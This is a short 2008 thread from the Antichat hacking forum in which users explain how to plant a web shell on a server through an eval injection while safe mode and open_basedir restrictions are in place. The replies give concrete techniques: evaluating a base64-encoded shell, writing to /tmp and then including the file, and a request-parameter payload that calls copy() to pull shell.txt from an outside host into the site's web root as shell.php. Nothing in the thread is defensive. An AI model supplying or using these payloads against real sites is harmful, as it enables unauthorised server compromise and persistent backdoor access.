Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Как залить веб шелл через eval. (https://forum.antichat.xyz/showthread.php?t=87481)

SanyaX 04.10.2008 20:01

Как залить веб шелл через eval.
 
Вообщем инклуды не локальный не удалённый не проканают. Safe-mode on + base dir. Отличены почти все функции. Кто подскажет что интересного?

BlackSun 04.10.2008 20:12

file_get_contents && fopen && fputs не катят?
----------
Или заэнкодь любимый шелл в base64, потом eval(base64_decode("youShell")), ну а дальше уже удобней будет

SanyaX 04.10.2008 21:27

Не создаёт файл. Больше нет способов?

BlackSun 04.10.2008 21:47

Цитата:

Сообщение от SanyaX
Не создаёт файл. Больше нет способов?

Чмод не позволяет или ограничения? Попробуй в /tmp/ записать, а потом заинсклудить

Nightmarе 04.10.2008 21:53

Была похожая ситуация, я заливал через copy
Таким образом:
&lol=http://site.ru/shell.txt&lol2=/home/site.com/www/shell.php&бажный_параметр=copy(lol,l ol2);


Время: 15:25